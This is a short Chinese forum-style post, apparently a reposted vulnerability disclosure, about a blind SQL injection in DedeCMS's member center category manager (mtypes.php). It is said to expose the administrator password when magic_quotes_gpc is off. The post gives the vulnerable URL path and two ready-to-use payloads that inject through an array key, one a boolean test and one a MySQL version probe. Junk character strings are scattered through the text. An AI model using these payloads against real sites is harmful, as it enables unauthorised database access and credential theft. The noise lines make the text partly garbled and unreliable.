DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.
# f1 j0 c; q3 U. v. M8 y8 {
" r$ U8 G) J. t, i* x7 F
发生在数组key里的注射漏洞,有点意思.
7 q: i+ d, W+ f3 E! m
! Q# ?1 d4 u3 ]5 e$ y3 H这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下

+ D* W3 M: T% d* ?3 U4 s6 H0 N% ~http://www.xxx.com /dede/member/mtypes.php?dopost=save
$ U- a1 i( |, W
exploit:
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
% T! F# ]! X1 K' C; Q, K. rmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r